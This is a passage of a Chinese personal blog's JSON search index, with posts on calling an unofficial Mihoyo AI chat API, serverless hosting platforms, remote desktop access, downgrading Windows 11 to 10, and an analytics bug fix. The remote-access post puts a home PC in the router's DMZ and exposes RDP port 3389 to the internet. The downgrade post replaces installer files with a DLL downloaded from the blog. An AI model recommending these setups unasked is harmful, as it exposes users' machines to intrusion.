src=\"/posts/anuneko/img/anuneko-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e发个如图请求帮橘猫选择\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ecurl --location \u0026#39;https://anuneko.com/api/v1/msg/select-choice\u0026#39; \\\n--header \u0026#39;x-token: 你的Token\u0026#39; \\\n--header \u0026#39;Content-Type: text/plain\u0026#39; \\\n--header \u0026#39;Cookie: 自动拿取\u0026#39; \\\n--data \u0026#39;{\u0026#34;msg_id\u0026#34;:\u0026#34;会话id\u0026#34;,\u0026#34;choice_idx\u0026#34;:0或1}\u0026#39;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e还有还有，这有个橘猫和黑猫，如何切换一个会话的猫？\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ecurl --location \u0026#39;https://anuneko.com/api/v1/user/select_model\u0026#39; \\\n--header \u0026#39;x-token: 你的Token\u0026#39; \\\n--header \u0026#39;Content-Type: text/plain\u0026#39; \\\n--header \u0026#39;Cookie: 自动拿取\u0026#39; \\\n--data \u0026#39;{\u0026#34;chat_id\u0026#34;:\u0026#34;会话id\u0026#34;,\u0026#34;model\u0026#34;:\u0026#34;Exotic Shorthair或Orange Cat\u0026#34;}\u0026#39;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e随便写了个适用于NoneBot2的插件，玩吧\n\u003ca href=\"https://github.com/afoim/AnuNeko_NoneBot2_Plugins/blob/main/anuneko.py\"\u003eAnuNeko_NoneBot2_Plugins/anuneko.py at main · afoim/AnuNeko_NoneBot2_Plugins\u003c/a\u003e\u003c/p\u003e","title":"上手米哈游AI，然后把它逆了！"},{"content":"何为Serverless 就像简介所说，传统来说我们搭建Web服务一般会选择买一个VPS，然后在其上安装管理面板，再安装所需软件，如Nginx，AList，最后运行，开放端口，再设置DNS解析，这样，一个网站就成功上线了\n而Serverless就简单多了，毕竟 Server 被 Less 掉了\n这又是什么意思呢？在Serverless服务里，你不再需要管理传统的VPS，而是直接将业务代码上传到目标平台，再由平台的CI/CD自动部署你的服务\n举个不恰当的例子就比如你正在观看的这个 博客 ，首先我将源码上传到 边缘安全加速平台 EO Pages_腾讯云 ，再经由平台构建出最终的HTML页面，然后再在平台上绑定域名，直接访问就可以了\n不难看出，在上一个例子中，我并没有去从零开始搭建这个服务，而是仅做了两件事：1. 源码上传 2. 绑定域名，而其他事情全部交给平台的自动化，这不仅极大减少了运维成本，并且在做版本控制的时候也更加容易\nServerless的利与弊 在Serverless中，你不再需要管理基础设施，只需要确保你的代码能跑，然后直接上传到平台，平台会帮你做好后续工作\n并且，这往往是 免费 的，或者说，大部分Serverless平台都有 免费层 。因为在平台看来，你只是租用了你所需要的东西，相比于哪些大客户，你的开销可以说是忽略不计\n并且在Serverless中，你永远只是用户，但是如果你买的是VPS，一般来说你是可以完全控制这台VPS的，如设置防火墙，或是重装系统，而这种代价是高昂的，这也是为什么你能看到许许多多免费的Serverless服务，但是几乎看不到免费的VPS提供商\n但这也有一些弊端，Serverless往往有严格的用量限制，在传统的VPS中，往往IDC会限制你的 最大带宽、公网IP 和 总流量 ，但是在Serverless中，往往只会限制你的 总流量 ，但可能还会有一些限制，如：CPU最长执行时间 、总请求数 、函数总请求数 、函数最长执行时间 等等等等\n因为当你在用Serverless的时候，你的服务直接跑在其平台的CDN上的，你将直接享有所属平台的CDN IP段以及带宽，这也让平台的管理更加方便，不需要大量购入物理机开虚拟机做VPS，只需要做一个小集群并做好用户分配即可\nServerless也比Server更容易做版本控制和Debug，由于Serverless和Git是天生一体的。在用户看来，只需要先将代码托管到Github，再将代码库连接到Serverless平台，此后，你的服务每一次更新就只需要更新源码了，平台会自动帮你构建。当你想要回滚版本的时候，直接将部署回退为之前的提交即可，而Debug无需再连到服务器上做，只需要有一台电脑，将代码拉下来，本地Dev Debug后，再将修复后的代码提交，平台就能自动部署了\n好用的Serverless平台 边缘全栈开发平台 - EdgeOne Pages :::caution 请不要在其上部署日流量超 10M 的服务，很有可能会被停用账号 :::\n支持原生JS和Node Function，如果你的项目是基于Node打造的，仅需修改一下函数出入口即可无缝迁移。并且目前的 Pages Function 是 不计请求也不计费 的，非常适合部署一些仅自己用的服务\n不过其自带的构建服务性能较低，上线速度可能稍慢\n示例服务： 自建一个匿名文件上传终结点 - AcoFork Blog\nVercel Functions 支持非常多的语言，如 Node.js、Python、Go、Wasm 等等。构建服务非常强劲！默认分配 4C8G 帮你构建！\n用量限制非常宽松，并且可以超过限制的 2倍 以上仍保持正常访问 示例服务： 来！让我们用Vercel来分享你的OneDrive！ - AcoFork Blog\nNetlify Functions 支持 JS/TS 和 Go。用量限制更宽松！仅限制每个月100G传输流量，但是一旦超限，即刻宕机\n示例服务： https://nf-gh.072103.xyz/afoim\nCloudflare Workers | 利用易于使用的开发工具构建和部署代码 | Cloudflare 支持众多语言，但是对JS/TS的支持最好，特别注意不支持完整的 Node.js 环境。Python目前无法通过pip安装包。优点在于可以和更多Cloudflare产品做协同，如Cloudflare R2 对象存储、Cloudflare KV 键值对存储、Cloudflare D1 SQL数据库\n每天限制 10W 请求，但是超了并不会 始终返回 不可用，而是 可能会请求错误\n示例服务： 你可曾想过，直接将BitWarden部署到Cloudflare Worker？ - AcoFork Blog\nHugging Face – The AI community building the future. :::caution 请不要在其上部署 AList ！秒封！ :::\n严格意义上来说，这是个帮你跑AI大模型服务的平台，但是由于它支持跑 Docker ，可玩性还是很高的\n不过访问链接需要你拼一下： https://用户名-Space名.hf.space/\n示例服务： 网易云音乐工具箱\nClawCloud Run | Build, Deploy, Manage \u0026amp; Run in Cloud-Native Platform 之前被干爆过，目前亚太爆炸，每个月有 5 美元 余额，直接跑Docker，按你分配的CPU核心数和内存来计费。不过 Hobby 计划还蛮便宜的，常用的话可以买 Render 每月免费100G流量，支持非常多的服务，如：静态网站、Web服务（Docker）、定时服务、PostgreSQL数据库、Key Vaule存储\n唯一的缺点，性能不高\nZeabur 每月免费5刀额度 ，免费计划有两个地域可选 最重磅的在于你可以将自己的VPS托管给Zeabur，它会在你的服务器上安装k3s等服务，之后你就可以直接在Zeabur的仪表盘上进行运维了\n最小服务器要求：2GB 内存，1 核 CPU。\n结语 Serverless不像传统的VPS，你并不完全拥有它，所以有些服务是不能跑的， 特别是在免费层 ，如特别吃IO和网络的 AList ，或是并发请求特别高以及商用服务。如果你用的舒心，请考虑购买各大平台的付费版套餐\n","permalink":"https://blog.2x.nz/posts/serverless-function/","summary":"\u003ch1 id=\"何为serverless\"\u003e何为Serverless\u003c/h1\u003e\n\u003cp\u003e就像简介所说，传统来说我们搭建Web服务一般会选择买一个VPS，然后在其上安装管理面板，再安装所需软件，如Nginx，AList，最后运行，开放端口，再设置DNS解析，这样，一个网站就成功上线了\u003c/p\u003e\n\u003cp\u003e而Serverless就简单多了，毕竟 \u003cstrong\u003eServer\u003c/strong\u003e 被 \u003cstrong\u003eLess\u003c/strong\u003e 掉了\u003c/p\u003e\n\u003cp\u003e这又是什么意思呢？在Serverless服务里，你不再需要管理传统的VPS，而是直接将业务代码上传到目标平台，再由平台的CI/CD自动部署你的服务\u003c/p\u003e\n\u003cp\u003e举个不恰当的例子就比如你正在观看的这个 \u003ca href=\"https://2x.nz\"\u003e博客\u003c/a\u003e ，首先我将源码上传到 \u003ca href=\"https://cloud.tencent.com/document/product/1552/118260\"\u003e边缘安全加速平台 EO Pages_腾讯云\u003c/a\u003e ，再经由平台构建出最终的HTML页面，然后再在平台上绑定域名，直接访问就可以了\u003c/p\u003e\n\u003cp\u003e不难看出，在上一个例子中，我并没有去从零开始搭建这个服务，而是仅做了两件事：1. 源码上传 2. 绑定域名，而其他事情全部交给平台的自动化，这不仅极大减少了运维成本，并且在做版本控制的时候也更加容易\u003c/p\u003e\n\u003ch1 id=\"serverless的利与弊\"\u003eServerless的利与弊\u003c/h1\u003e\n\u003cp\u003e在Serverless中，你不再需要管理基础设施，只需要确保你的代码能跑，然后直接上传到平台，平台会帮你做好后续工作\u003c/p\u003e\n\u003cp\u003e并且，这往往是 \u003cstrong\u003e免费\u003c/strong\u003e 的，或者说，大部分Serverless平台都有 \u003cstrong\u003e免费层\u003c/strong\u003e 。因为在平台看来，你只是租用了你所需要的东西，相比于哪些大客户，你的开销可以说是忽略不计\u003c/p\u003e\n\u003cp\u003e并且在Serverless中，你永远只是用户，但是如果你买的是VPS，一般来说你是可以完全控制这台VPS的，如设置防火墙，或是重装系统，而这种代价是高昂的，这也是为什么你能看到许许多多免费的Serverless服务，但是几乎看不到免费的VPS提供商\u003c/p\u003e\n\u003cp\u003e但这也有一些弊端，Serverless往往有严格的用量限制，在传统的VPS中，往往IDC会限制你的 \u003cstrong\u003e最大带宽\u003c/strong\u003e、\u003cstrong\u003e公网IP\u003c/strong\u003e  和 \u003cstrong\u003e总流量\u003c/strong\u003e ，但是在Serverless中，往往只会限制你的 \u003cstrong\u003e总流量\u003c/strong\u003e ，但可能还会有一些限制，如：\u003cstrong\u003eCPU最长执行时间\u003c/strong\u003e 、\u003cstrong\u003e总请求数\u003c/strong\u003e 、\u003cstrong\u003e函数总请求数\u003c/strong\u003e 、\u003cstrong\u003e函数最长执行时间\u003c/strong\u003e 等等等等\u003c/p\u003e\n\u003cp\u003e因为当你在用Serverless的时候，你的服务直接跑在其平台的CDN上的，你将直接享有所属平台的CDN IP段以及带宽，这也让平台的管理更加方便，不需要大量购入物理机开虚拟机做VPS，只需要做一个小集群并做好用户分配即可\u003c/p\u003e\n\u003cp\u003eServerless也比Server更容易做版本控制和Debug，由于Serverless和Git是天生一体的。在用户看来，只需要先将代码托管到Github，再将代码库连接到Serverless平台，此后，你的服务每一次更新就只需要更新源码了，平台会自动帮你构建。当你想要回滚版本的时候，直接将部署回退为之前的提交即可，而Debug无需再连到服务器上做，只需要有一台电脑，将代码拉下来，本地Dev Debug后，再将修复后的代码提交，平台就能自动部署了\u003c/p\u003e\n\u003ch1 id=\"好用的serverless平台\"\u003e好用的Serverless平台\u003c/h1\u003e\n\u003ch3 id=\"边缘全栈开发平台---edgeone-pages\"\u003e\u003ca href=\"https://pages.edgeone.ai/zh\"\u003e边缘全栈开发平台 - EdgeOne Pages\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e:::caution\n请不要在其上部署日流量超 \u003cstrong\u003e10M\u003c/strong\u003e 的服务，很有可能会被停用账号\n:::\u003c/p\u003e\n\u003cp\u003e支持原生JS和Node Function，如果你的项目是基于Node打造的，仅需修改一下函数出入口即可无缝迁移。并且目前的 \u003cstrong\u003ePages Function\u003c/strong\u003e 是 \u003cstrong\u003e不计请求也不计费\u003c/strong\u003e 的，非常适合部署一些仅自己用的服务\u003c/p\u003e\n\u003cp\u003e不过其自带的构建服务性能较低，上线速度可能稍慢\u003c/p\u003e\n\u003cp\u003e示例服务：  \u003ca href=\"/posts/unknown-upload/\"\u003e自建一个匿名文件上传终结点 - AcoFork Blog\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"vercel-functions\"\u003e\u003ca href=\"https://vercel.com/docs/functions\"\u003eVercel Functions\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e支持非常多的语言，如 Node.js、Python、Go、Wasm 等等。构建服务非常强劲！\u003cstrong\u003e默认分配 4C8G\u003c/strong\u003e 帮你构建！\u003c/p\u003e\n\u003cp\u003e用量限制非常宽松，并且可以超过限制的 \u003cstrong\u003e2倍\u003c/strong\u003e 以上仍保持正常访问\n\u003cimg loading=\"lazy\" src=\"/posts/serverless-function/img/serverless-function-1.webp\"\u003e\n示例服务： \u003ca href=\"/posts/onedrive-index/\"\u003e来！让我们用Vercel来分享你的OneDrive！ - AcoFork Blog\u003c/a\u003e\u003c/p\u003e","title":"盘点那些好用的Serverless（云函数）！"},{"content":"前言 你可能会觉得：远程控制电脑而已，直接装个 UU 远程、向日葵之类的软件不就好了，为什么还要专门写一篇文章？\n但问题在于：如果你的电脑是 32 位系统，而不是 64 位；或者你所在的网络 NAT 类型不够开放，甚至没有 IPv6，又该怎样尽可能优雅、高效、流畅地远程访问家里的电脑呢？\n正式开始 这篇文章分两部分来讲：一部分针对 64 位电脑，配置相对简单；另一部分针对 32 位电脑，操作会稍微复杂一些。\n64位 首先，打开家里路由器的 UPnP 功能，然后直接下载 网易UU远程官网_真4K、真免费、真好用。登录账号后即可直接连接，大部分情况下都能走 P2P（点对点连接，也就是控制端和被控端直接建立连接）。\n32位 由于 UU 远程仅支持 64 位电脑，这里就得换一种思路了。\n我采用的方法会稍微“极客”一些：把家里设备的 RDP 端口映射到公网，也就是借助 STUN。不过，这种方案要求家庭网络的 NAT 类型为 1（Full Cone）。\n首先，把家中路由器的 DMZ 主机 设置为家里电脑的 IP 地址。 启用 DMZ 后，所有打到路由器端口上的流量（除路由器自身占用的端口外）都会被转发到这台 DMZ 主机。\n换句话说，访问路由器的 3389 端口，本质上就是在访问这台电脑的 3389 端口。\n完成这一步后，就可以借助 STUN 协议，把路由器的 3389 端口映射到 ISP 分配给你的公网地址上。\n更直白一点说，完成 STUN 后，只要访问 公网 IP:随机端口，就能连到路由器的 3389 端口；而由于前面已经配置了 DMZ，这个请求最终又会被转发到电脑的 3389 端口。\n那么，怎样才能比较简单地建立一个 STUN 隧道 呢？\n我这里使用的是 MikeWang000000/Natter: Expose your TCP/UDP port behind full-cone NAT to the Internet.。它是一个用 Python 编写的程序。在确认你的网络为 NAT1 后，可以直接使用类似 python natter.py -p 3389 的命令来创建 STUN 隧道。 当你看到类似 WAN \u0026gt; 112.32.39.77:55265 [ OPEN ] 这样的输出时，就说明映射已经成功。此后，只要设备能够接入 互联网，就可以通过这个 公网 IP:端口 访问家里的电脑。\n最后，按下 Win + R 打开“运行”，输入 mstsc，就能启动 Windows 自带的远程桌面，开始远程连接。\n","permalink":"https://blog.2x.nz/posts/remote/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e你可能会觉得：远程控制电脑而已，直接装个 UU 远程、向日葵之类的软件不就好了，为什么还要专门写一篇文章？\u003c/p\u003e\n\u003cp\u003e但问题在于：如果你的电脑是 32 位系统，而不是 64 位；或者你所在的网络 NAT 类型不够开放，甚至没有 IPv6，又该怎样尽可能优雅、高效、流畅地远程访问家里的电脑呢？\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e这篇文章分两部分来讲：一部分针对 64 位电脑，配置相对简单；另一部分针对 32 位电脑，操作会稍微复杂一些。\u003c/p\u003e\n\u003ch3 id=\"64位\"\u003e64位\u003c/h3\u003e\n\u003cp\u003e首先，打开家里路由器的 \u003cstrong\u003eUPnP\u003c/strong\u003e 功能，然后直接下载 \u003ca href=\"https://uuyc.163.com/\"\u003e网易UU远程官网_真4K、真免费、真好用\u003c/a\u003e。登录账号后即可直接连接，大部分情况下都能走 P2P（点对点连接，也就是控制端和被控端直接建立连接）。\u003c/p\u003e\n\u003ch3 id=\"32位\"\u003e32位\u003c/h3\u003e\n\u003cp\u003e由于 UU 远程仅支持 64 位电脑，这里就得换一种思路了。\u003c/p\u003e\n\u003cp\u003e我采用的方法会稍微“极客”一些：把家里设备的 \u003cstrong\u003eRDP\u003c/strong\u003e 端口映射到公网，也就是借助 \u003cstrong\u003eSTUN\u003c/strong\u003e。不过，这种方案要求家庭网络的 NAT 类型为 1（Full Cone）。\u003c/p\u003e\n\u003cp\u003e首先，把家中路由器的 \u003cstrong\u003eDMZ 主机\u003c/strong\u003e 设置为家里电脑的 IP 地址。\n\u003cimg loading=\"lazy\" src=\"/posts/remote/img/remote.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e启用 DMZ 后，所有打到路由器端口上的流量（除路由器自身占用的端口外）都会被转发到这台 DMZ 主机。\u003c/p\u003e\n\u003cp\u003e换句话说，访问路由器的 \u003ccode\u003e3389\u003c/code\u003e 端口，本质上就是在访问这台电脑的 \u003ccode\u003e3389\u003c/code\u003e 端口。\u003c/p\u003e\n\u003cp\u003e完成这一步后，就可以借助 \u003cstrong\u003eSTUN\u003c/strong\u003e 协议，把路由器的 \u003ccode\u003e3389\u003c/code\u003e 端口映射到 ISP 分配给你的公网地址上。\u003c/p\u003e\n\u003cp\u003e更直白一点说，完成 STUN 后，只要访问 \u003ccode\u003e公网 IP:随机端口\u003c/code\u003e，就能连到路由器的 \u003ccode\u003e3389\u003c/code\u003e 端口；而由于前面已经配置了 DMZ，这个请求最终又会被转发到电脑的 \u003ccode\u003e3389\u003c/code\u003e 端口。\u003c/p\u003e","title":"出门在外，如何优雅、高效、流畅地远程自家电脑？"},{"content":"前言 为什么要回到Win10 有太多理由了\nWin11几乎只升级了UI，并且新的UI优化不完全，导致很多地方有粘滞感，参见： 我们发现了Win11操作总是不跟手的深层原因！_哔哩哔哩_bilibili Win10和Win11都是NT 10.x的内核，能跑在Win11上的程序必然能在Win10上跑。而微软大部分的程序文档中规定的最低版本号几乎都为 Windows 10 1607 and later ，也就是 支持 Windows 10 2016年的版本，以及之后的版本 ，而我们一般使用的都比这新的多，如 21h2 22h2 ，根本不用担心兼容性问题 这种非正常手段的“升级”有哪些影响 几乎没有影响，虽然我们需要做点善后工作，但得益于Win10和11本质上是一个东西，并不会造成什么不可逆的损害\n“升级”后，我会丢失什么？ Win11有但Win10没有的东西会消失，两者都有的会保留。专为Win11打造的Appx，“升级”后会不可用或直接消失\n是保留数据的“升级”吗 是的。理论上来说仅会替换Windows版本，并不会清除你的所有数据，如应用，文档，个人信息\n为什么微软不开放官方通道降级？ 其实是有的，当你先安装Win10，再通过Windows更新升级为Win11后，你有30天的后悔期，期间你可以在设置中选择回到Windows 10。但30天并不是一个特殊的日子，只是微软为了减少麻烦设置的一个保守日期\n正式开始 :::caution 数据无价，谨慎操作 :::\n:::warning 确保你有PE U盘，如果你听不懂我在说什么，请不要继续操作！ :::\n首先确保你正在运行Win11的 正式版 ，如果你加入了 Windows Insider Preivew ，请想办法回到 正式版\n接下来我们先去下载Win10的ISO，前往 https://www.microsoft.com/zh-cn/software-download/windows10 ，如果你发现你没有可以下载ISO文件的地方，如图 点击F12，打开Devtools，切换为设备仿真 按F5，刷新页面，此时网页就会认为你是手机，就会让你下载ISO了 选择版本 Windows 10 （多版本ISO） 选择 简体中文 下载 64位版本的ISO 得到ISO文件 确保你安装了 支持解压缩ISO 的软件，如 Bandizip 官方网站 - 免费压缩软件下载 (Windows) ，解压ISO文件 打开 已解压的ISO 文件夹，重命名 setup.exe 为 setup1.exe 更改文件属性 - 兼容性为 Windows 8 下载伪装文件： Win11ToWin10.zip 目的是强制激活安装程序中的 保数据升级\n解压出 ei.cfg 和 setupcompat.dll 。将其复制到ISO文件夹下的 sources 文件夹并替换其中已有的文件 打开 setup1.exe ，更改 Windows 安装程序下载更新的方式，选择 不是现在，然后一路下一步 等待变为 准备就绪，可以安装 ，并确保 保留个人文件和应用 ，选择 安装 等待设备开机时从 白条转圈 变为 白点转圈 ，即Windows10已被安装 接下来你第一次开机可能会黑屏。表现为用户登录后随着一声警告声并且黑屏，此时移动鼠标可以看到光标移动，但无法点击屏幕上的任何元素\n进入其他系统（如U盘中的PE系统），删除所有\nC:\\ProgramData\\Microsoft\\Windows\\AppRepository\\StateRepository-开头的文件 再次开机，应该可以成功开机了\n接下来 Win+X 打开管理员的Powershell\n首先修复一下系统\nDism.exe /Online /Cleanup-Image /CheckHealth DISM.exe /Online /Cleanup-image /Scanhealth DISM.exe /Online /Cleanup-image /Restorehealth sfc /scannow 接下来修复系统应用\n恢复系统应用：add-appxpackage -register \u0026#34;C:\\Windows\\SystemApps\\*\\AppxManifest.xml\u0026#34; -disabledevelopmentmode 恢复内置应用：add-appxpackage -DisableDevelopmentMode -Register \u0026#34;C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\*\\AppxManifest.xml\u0026#34; -verbose 恢复应用商店安装的应用：add-appxpackage -DisableDevelopmentMode -Register \u0026#34;C:\\Program Files\\WindowsApps\\*\\AppxManifest.xml\u0026#34; -verbose 你还可能会遇到点击 Win 弹出开始菜单后打不开设置，我是这样解决的 至此，已完美“升级”为Windows10\n","permalink":"https://blog.2x.nz/posts/win11-to-win10/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003ch3 id=\"为什么要回到win10\"\u003e为什么要回到Win10\u003c/h3\u003e\n\u003cp\u003e有太多理由了\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eWin11几乎只升级了UI，并且新的UI优化不完全，导致很多地方有粘滞感，参见： \u003ca href=\"https://www.bilibili.com/video/BV11MVoznE4L/?spm_id_from=333.1387.search.video_card.click\u0026amp;vd_source=6b94c66d8e200ba092130f674228bbff\"\u003e我们发现了Win11操作总是不跟手的深层原因！_哔哩哔哩_bilibili\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWin10和Win11都是NT 10.x的内核，能跑在Win11上的程序必然能在Win10上跑。而微软大部分的程序文档中规定的最低版本号几乎都为 \u003ccode\u003eWindows 10 1607 and later\u003c/code\u003e ，也就是 \u003cstrong\u003e支持 Windows 10 2016年的版本，以及之后的版本\u003c/strong\u003e ，而我们一般使用的都比这新的多，如 \u003ccode\u003e21h2\u003c/code\u003e \u003ccode\u003e22h2\u003c/code\u003e ，根本不用担心兼容性问题\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"这种非正常手段的升级有哪些影响\"\u003e这种非正常手段的“升级”有哪些影响\u003c/h3\u003e\n\u003cp\u003e几乎没有影响，虽然我们需要做点善后工作，但得益于Win10和11本质上是一个东西，并不会造成什么不可逆的损害\u003c/p\u003e\n\u003ch3 id=\"升级后我会丢失什么\"\u003e“升级”后，我会丢失什么？\u003c/h3\u003e\n\u003cp\u003eWin11有但Win10没有的东西会消失，两者都有的会保留。专为Win11打造的Appx，“升级”后会不可用或直接消失\u003c/p\u003e\n\u003ch3 id=\"是保留数据的升级吗\"\u003e是保留数据的“升级”吗\u003c/h3\u003e\n\u003cp\u003e是的。理论上来说仅会替换Windows版本，并不会清除你的所有数据，如应用，文档，个人信息\u003c/p\u003e\n\u003ch3 id=\"为什么微软不开放官方通道降级\"\u003e为什么微软不开放官方通道降级？\u003c/h3\u003e\n\u003cp\u003e其实是有的，当你先安装Win10，再通过Windows更新升级为Win11后，你有30天的后悔期，期间你可以在设置中选择回到Windows 10。但30天并不是一个特殊的日子，只是微软为了减少麻烦设置的一个保守日期\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e:::caution\n数据无价，谨慎操作\n:::\u003c/p\u003e\n\u003cp\u003e:::warning\n确保你有PE U盘，如果你听不懂我在说什么，请不要继续操作！\n:::\u003c/p\u003e\n\u003cp\u003e首先确保你正在运行Win11的 \u003cstrong\u003e正式版\u003c/strong\u003e ，如果你加入了 \u003cstrong\u003eWindows Insider Preivew\u003c/strong\u003e ，请想办法回到 \u003cstrong\u003e正式版\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e接下来我们先去下载Win10的ISO，前往 \u003ca href=\"https://www.microsoft.com/zh-cn/software-download/windows10\"\u003ehttps://www.microsoft.com/zh-cn/software-download/windows10\u003c/a\u003e ，如果你发现你没有可以下载ISO文件的地方，如图\n\u003cimg loading=\"lazy\" src=\"/posts/win11-to-win10/img/win11-to-win10-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e点击F12，打开Devtools，切换为设备仿真\n\u003cimg loading=\"lazy\" src=\"/posts/win11-to-win10/img/win11-to-win10-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e按F5，刷新页面，此时网页就会认为你是手机，就会让你下载ISO了\n\u003cimg loading=\"lazy\" src=\"/posts/win11-to-win10/img/win11-to-win10-3.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e选择版本 \u003cstrong\u003eWindows 10 （多版本ISO）\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/win11-to-win10/img/win11-to-win10-5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e选择 \u003cstrong\u003e简体中文\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/win11-to-win10/img/win11-to-win10-6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e下载 \u003cstrong\u003e64位版本的ISO\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/win11-to-win10/img/win11-to-win10-7.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e得到ISO文件\n\u003cimg loading=\"lazy\" src=\"/posts/win11-to-win10/img/win11-to-win10-8.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e确保你安装了 \u003cstrong\u003e支持解压缩ISO\u003c/strong\u003e 的软件，如 \u003ca href=\"https://www.bandisoft.com/bandizip/\"\u003eBandizip 官方网站 - 免费压缩软件下载 (Windows)\u003c/a\u003e ，\u003cstrong\u003e解压ISO文件\u003c/strong\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/win11-to-win10/img/explorer_xY0rowaOaU.gif\"\u003e\u003c/p\u003e\n\u003cp\u003e打开 \u003cstrong\u003e已解压的ISO\u003c/strong\u003e 文件夹，重命名 \u003ccode\u003esetup.exe\u003c/code\u003e 为 \u003ccode\u003esetup1.exe\u003c/code\u003e\n\u003cimg loading=\"lazy\" src=\"/posts/win11-to-win10/img/win11-to-win10-11.webp\"\u003e\u003c/p\u003e","title":"Win11保留数据无损降级Win10！"},{"content":"正式开始 正如标题所说，我的博客是在 saicaca/fuwari: ✨A static blog template built with Astro. 的基础上深度改造而来的。\n和 Fuwari 原版一样，它本质上仍然是一个 静态博客：文章以 Markdown 文件形式维护，构建后输出为 HTML。\n但原项目在设计之初并没有重点考虑 动态功能，例如我现在用到的 访问量显示，因此后续接入这类能力时就容易出现一些问题。\n关于访问量显示的整体思路，我已经在 这篇文章 中讲过。简单来说，它分为两步：1. 先获取全局分享 Token；2. 再使用这个 Token 请求实际访问量数据。\n当时出现了一个比较奇怪的问题：第一步会发生多次重复请求。分析之后我发现，博客里有三个位置都用了同一套逻辑，而且彼此独立。也就是说，用户一打开页面，博客既会获取全站访问量，也会同时请求首屏几篇文章的访问量。\n但这个全局分享 Token 在很长一段时间内其实都不会变化，这就导致出现了不少冗余请求。为了解决这个问题，我当时写了一个中间层：首次请求后把 Token 缓存在用户浏览器里，后续直接复用，不再重复请求。\n不过后来还是有读者发现，某些页面依旧会多次请求 Umami，如图所示： 于是他提交了一个 issue：Bug: 站内转跳时由于swup处理不当导致的多umami实例 · Issue #79 · afoim/fuwari。问题的核心是 Swup 不应该接管这类脚本资源，把相关 JS 排除后，问题确实得到了解决。\n按 issue 中的方法调整后，我们随便打开一个页面，再来分析一次请求情况： 我们只看Umami请求：\nhttps://cloud.umami.is/script.js ：Umami官方的全局JS，注入在所有页面中，用于后续将访客行为告知给Umami http://localhost:4321/js/umami-share.js ：之前写的中间件，用于避免多次请求Umami拿全局Token https://umami.2x.nz/analytics/us/api/websites/5d710dbd-3a2e-43e3-a553-97b415090c63/stats?startAt=0\u0026amp;endAt=1763429011353\u0026amp;unit=hour\u0026amp;timezone=Asia%2FShanghai\u0026amp;compare=false ：获取全站统计信息。为什么在文章页也会获取全站统计？因为全站统计被安放在用户配置块，而用户配置块全局可见 https://umami.2x.nz/analytics/us/api/websites/5d710dbd-3a2e-43e3-a553-97b415090c63/stats?startAt=0\u0026amp;endAt=1763429243350\u0026amp;unit=hour\u0026amp;timezone=Asia%2FShanghai\u0026amp;path=eq.%2Fposts%2Fswup-js%2F\u0026amp;compare=false ：获取本页统计信息 两个预检请求：由于存在 CORS，请求源和被请求源不一致，因此浏览器会先发起预检请求，再决定是否继续发送正式请求。这是浏览器的安全机制，用来确认目标站点是否明确允许这次跨域访问。 https://api-gateway.umami.dev/api/send ：Umami的官方JS，用于将本次访问的行为汇报给Umami 到这里，问题就算彻底解决了：没有多余实例，也没有冗余请求，整体请求链路也干净了很多。\n","permalink":"https://blog.2x.nz/posts/swup-js/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e正如标题所说，我的博客是在 \u003ca href=\"https://github.com/saicaca/fuwari\"\u003esaicaca/fuwari: ✨A static blog template built with Astro.\u003c/a\u003e 的基础上深度改造而来的。\u003c/p\u003e\n\u003cp\u003e和 Fuwari 原版一样，它本质上仍然是一个 \u003cstrong\u003e静态博客\u003c/strong\u003e：文章以 Markdown 文件形式维护，构建后输出为 HTML。\u003c/p\u003e\n\u003cp\u003e但原项目在设计之初并没有重点考虑 \u003cstrong\u003e动态功能\u003c/strong\u003e，例如我现在用到的 \u003cstrong\u003e访问量显示\u003c/strong\u003e，因此后续接入这类能力时就容易出现一些问题。\u003c/p\u003e\n\u003cp\u003e关于访问量显示的整体思路，我已经在 \u003ca href=\"/posts/static-view/\"\u003e这篇文章\u003c/a\u003e 中讲过。简单来说，它分为两步：1. 先获取全局分享 Token；2. 再使用这个 Token 请求实际访问量数据。\u003c/p\u003e\n\u003cp\u003e当时出现了一个比较奇怪的问题：第一步会发生多次重复请求。分析之后我发现，博客里有三个位置都用了同一套逻辑，而且彼此独立。也就是说，用户一打开页面，博客既会获取全站访问量，也会同时请求首屏几篇文章的访问量。\u003c/p\u003e\n\u003cp\u003e但这个全局分享 Token 在很长一段时间内其实都不会变化，这就导致出现了不少冗余请求。为了解决这个问题，我当时写了一个中间层：首次请求后把 Token 缓存在用户浏览器里，后续直接复用，不再重复请求。\u003c/p\u003e\n\u003cp\u003e不过后来还是有读者发现，某些页面依旧会多次请求 Umami，如图所示：\n\u003cimg loading=\"lazy\" src=\"/posts/swup-js/img/swup-js-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e于是他提交了一个 